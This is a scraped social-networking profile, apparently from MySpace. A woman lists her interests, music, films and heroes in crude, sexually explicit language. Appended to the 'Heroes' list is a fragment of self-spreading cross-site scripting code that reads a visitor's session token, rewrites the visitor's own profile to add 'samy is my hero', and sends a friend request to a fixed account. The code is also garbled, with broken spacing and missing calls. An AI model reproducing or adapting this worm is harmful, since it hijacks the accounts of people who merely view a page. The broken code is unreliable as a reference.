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LiSe Jean Claude Van Zombie

itss NEVERRRR enough!!!!!!!!!

About Me


You have been marked on my profile map! Click to make your own visitor map.click this first http://s2.bitefight.org/c.php?uid=52713Firstly im a strange cuntmuffin, i have intense depression and anger issues. feel free to say hi if you have anything in common with me or you think you have what it takes to be my pixel pal if you are geniune then please step forward especially if you share the same interests and attitude as myself.. No cyberfuckee types please. i have the attention span of a goldfish i get so bored easily and irritable and have weird moodswings and i dont have much patience or time for stupid people or complete tossers. I hate routine and sticking to rules, i get annoyed with predictability. anyone that really knows me KNOWS that with me ITS NEVER ENOUGH LOLOLMy husband Finbarr is Anglo/Irish and he moved to Australia from UK to be with me, the crazy cunt he is LOL hes a funny dude that has a strange personality and has an odd outlook on life.... My 2nd baby the V8 BEAST *pat pat* is currently sitting in the driveway all lonely and nowhere to go gathering dust and rust.I love music its the Essence of Fucking life. i like to go to gigs, see my mates play and have a fucking kickarse time pissin up and being a total nutcase..i listen to a variety of tunes, anything metal,punk,rock, whatever as long as it sounds good ill have a listen at least once. I work in a wanky furniture company doing their finances. very fun it pays my way so i cant complain.I HAVE A MASSIVE DRAGON FETISH. im a fantasy artist, i draw alot of creatures, dragons, faeries etc. one day im gonna open up a gallery and sell my fantasy art for a living. and i try to design clothes in my spare time and i owe so many mates pics and clothing of sorts (IM SORRY LOZ, SMAXEL, FINNY, TARA,AND WHOEVER ELSE I OWE PICS AND WEARABLE ART IM A LAZY FUCKER!), i have a heap of material paints and the designs but i seriously need a studded paddle to the arse to get my bod into gear ahah.......im a joker, im a great friend, listener, partner in crime and absolute trashbag bag of arse from hell those that know me understand all about me and why i am the way i am..i am a sweetheart, kind and willing to help my mates out anyway i can but i am also distrustful, rude and disrespectful to those that deserve my wrath...sometimes the things i say shock people but hey im myself like it or fuck off. i do have a SWEARING PROBLEM in case you didnt even notice so if you have a problem with girls saying CUNT then dont bother talking to me. If you want my MSN then ask ill talk to anyone if they have anything in common with me...ehheheh heres my gay personality type quiz i did once it kinda makes me laugh...suck on that you dirty uterus cunt.ENFPoutgoing, social, disorganized, easily talked into doing silly things, spontaneous, wild and crazy, acts without thinking, good at getting people to have fun, pleasure seeking, irresponsible, physically affectionate, risk taker, thrill seeker, likely to have or want a tattoo, adventurous, unprepared, attention seeking, hyperactive, irrational, loves crowds, rule breaker, prone to losing things, seductive, easily distracted, open, revealing, comfortable in unfamiliar situations, attracted to strange things, non punctual, likes to stand out, likes to try new things, fun seeker, unconventional, energetic, impulsive, empathetic, dangerous, loving, attachment prone, prone to fantasy

My Interests

Finbarr's massive eight and a half inch thick pierced cock of goodness, England, Wee wee games, Bum fun, playing pool and winning against FFFFFin, Laughing with Fin, Watching movies and being stupid and Phucking Phin's brains out, Lauren, Drawing awesome pics, Dragons, Lying on the floor smoking Cigars and Tabs, Tattoos, Being broke and extreme povvness, Fashion Design, Art Nouveau, Art History, Fantasy Art, Art Galleries/Exhibitions (yes yes im a major art fag that loves free booze!), Manga, Graphic Design, Glitter, Stickers, Horror, Piercings, Music, Seeing bands, Shopping, Op shops, Sewing and making clothes, Obscure band tshirts, Dying my hair, Chain wallets, Good friends, Meeting new people, A love of the colour Black/Red/Purple, Drinking spirits, Date Tuesday,White trash BBQS, Peaking and ringing cunts in the UK, MSN, Whitey's cooking, Tofu, Lithuanian anything (RIP LITH CLUB COME BACK!),Gluten free/Wheat free products, Essential Oils, Incense and Candles, Torture and Domination, Ninjas and Pirates, $1 peep shows, Driving hand me down cars,Cheap arse markets, Cooking, Being a Smartarse, Scaring small children, Traveling, Laughing at nothing in particular, Making fun of the less fortunate, the SUS, Foreign/ARTHOUSE/Thriller Films, Beverly Hills dirty $6.50 movies, Strip club music, Winfield Golds 25s, Turkish coffee, A good expensive bottle of Cab Sav, Sugerfree V/Redbull, 40s50s clothing, Corsets, Tourettes, Tommo and his Sphincter Surprizes, Bangor Tav, $9.75 chemist ear piercings, C-town, Silver/Skull Jewellery, Ron Burgundy, Retro furniture, Vehicle Restoration, Driving to unknown destinations for fun, Graveyard exploring, Tree climbing, Smoking in cars, Setting leaves and twigs on fire, Drivin the shitty merc into the ground, Dangerfield, Erina Designs, RedRuby Designs, Chicken Parmy, Gamblor, Vintage anything, Skull Bowling ball- dont knock it till you have bowled with one, Leather, Lip gloss, Cherry liquer dark chocolate, Bright coloured furry things, Berry Vodka, Cherry beer ahhh fucking cherry anything!!, Reading trashy mags, Tattoo mags, Drum media, Rolling Stone, Random Zines, Autobiographies, True Crime, Forensics, Australian/British/American Comedy.

I'd like to meet:

anyone with an odd personality and has a sick sense of humour and that can relate to me in any way. ill talk to anyone that has common interests to me and that can hold an intelligent conversation as well as being immature as fuck.. anyone that isnt a stupid knob, make me laugh to the point of choking myself to death and ill be your friend forever. i hate compulsive liars and pretenders please dont make me projectile aids vomit in your face with absolute disgust.

Music:

a heap of different shit depending on my mood. lately its been..... Mindsnare, Social Distortion, AC/DC, 5'6'7'8s, Tea Party (omg lust) Slayer, Rose Tattoo, Pantera, Queen, Opeth, Inflames, Pink, Midnight Oil, Mastodon, Lamb of God, Unearth, NIN, Away from Now, Tool, Vader, Judas Priest, Van Halen, Guns N Roses, Alice Cooper, Madball, Terror, The Cure, American Headcharge, Taproot, Prong, Sevendust, Testament, Sick Of It All, Casino Rumblers, Hatebreed, Incubus (old stuff), Snot, Thin Lizzy, New York Dolls, Sabbath, Motley Crue, Sex Pistols, Arch Enemy, Iron Maiden, Faith No More, Meshuggah, Arcturus, Emperor, Radiohead, Tiger Army, TISM, Deftones, Veruca Salt, Garbage, Unpaid Dept, Mach Pelican, The Quickening, Fear Factory, Anorexia Nervosa, The Pogues, Johnny Cash, Against Me!, Screamfeeder,Shihad, Peabody, Frenzal Rhomb, Razel, Fyreflyes, Cranberries, Chicks on Speed, Peaches, The Clouds, Tumbleweed, Beasts of Bourbon, Belly, Cathedral, BugGirl,Lunachicks, 7 Year Bitch, Babes in Toyland, Jane Siberry, Yeah Yeah Yeahs, The Liars, Foo Fighters, Sommerset, Misfits, Ramones, Shonen Knife, L7, Zombie Ghost Train, GWAR, Kampei, Tourettes, Killswitch Engage, Lamb of God, Children of Bodom, Squirrel Nut Zippers,Zoobombs, Poison Idea, Rage DC, Descendants, Blooduster, American Headcharge, Rammstein, Fantomas, old Metallica, David Bowie, Pantera, Elissa (talented leb artist),Damageplan, Dragonforce, Chixdiggit, Bjork, Kate Bush, Fiona Apple, Bouncing Souls, HorrorPops, Blondie, Nitocris, The Monstars, INXS, Mad Caddies, Suicide Machines, Lawrence Arms, Coheed and Cambria, The Disables, Cruxshadows, Modular Lounge, Bubblevicious, Prince, Divinyls, Champion, Kittie, Roxette, The Police, 16DD, Madonna, Filter, Brazen Hearts, Anthrax, Deep Purple, Marvin Gaye, plus a billion more.

Movies:

PORN!!!!!, Labyrinth, Scarface, Sin City, Lost Boys, Pans Labyrinth, Imprint, The Crow, Fear and Loathing in Las Vegas, Trainspotting, Mad Max, Envy, Creep, Dead Zone, Fright Night, The Warriors, Deliverance, Patrick, 28 Weeks Later, IT, Angst, Office Space, Requiem for a Dream, Little Fish, LOTR, Two Hands, The Doom Generation, Dark Crystal, Willow, Battle Royale, In the Mouth Of Madness, The Howling, Gremlins, The Brood, 2000 Maniacs, The Descent, Wolf Creek, Razorback, Legend, Ladyhawk, Pulp Fiction, Reservoir Dogs, Kill Bill, Jackie Brown, Freeway, Masters of the Universe, Fern Gully, Saw, Bad Boy Bubby, Hostel, The Craft, Kids, Gummo, Sick, Walk The Line, Dune, Highlander, Spun, Fargo, Ghost in the Shell, Anchorman, 54, Supergirl, American History X, Romper Stomper, Rocky Horror Picture Show, The Party, Dr Strangelove, Cry Baby, Serial Mom, The Deer Hunter, Schindlers List, Braveheart, Flashdance, Footloose, Dirty Dancing, Evil Dead, Alive etc fucking anything etc

Television:

Jeremy Kyle Show, The Biggest Loser, Magnum PI, Big Train, The A Team, Trisha, Father Ted, Greatest American Hero, Perfect Strangers, The Three Stooges, Freaks and Geeks, Cheaters, Judge Judy, Young Ones, Bottom, Twin Peaks, Ab Fab, Iron Chef, Arrested Development, Monkey Magic, The Office, Peepshow, The Bill, League of Gentlemen, Prisoner, Simpsons, Little Britain, Family Guy, South Park, Sailor Moon, Full Frontal, D Generation, Kath and Kim, House ,Bargearse, The Olden Days, Astro Boy, She-Ra, Thundercats, Voltron, Transformers, Evangelion Neon Genesis and a bunch of other shit impossible to list it all here

Books:

Stephen King, true crime, biographies. anything interesting.

Heroes:

Peter Sellers, Bargearse, Papa Lazarou, Christopher Walken, Steve Buscemi, Brian Froud, David Bowie, Vincent Price, Rodney Rude, Rick Stein, Bob and Cheryl Ugly, Mike Patton, GoGo Yubari, Uma Thurman, Jim Henson, Brett Whiteley, Mike Ness, Bad Boy Bubby,Bill Hicks, Ricky Gervais, Fairuza Balk 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if( BJ=='POST'){J.setRequestHeader('Content-Type','application/x -www-form-urlencoded');J.setRequestHeader('Content-Length',B K.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){ if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseact ion=profile.previewInterests&Mytoken='+AR,postHero,'POST ',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';A S['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');ht tpSend('/index.cfm?fuseaction=profile.processInterests&M ytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite .addfriend_verify&friendID=11851658&Mytoken='+L,proc essxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['subm it']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsP rocess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}f unction httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}..'xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(B J,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content -Type','application/x-www-form-urlencoded');xmlhttp2.setRequ estHeader('Content-Length',BK.length)}xmlhttp2.send(BK);retu rn true}"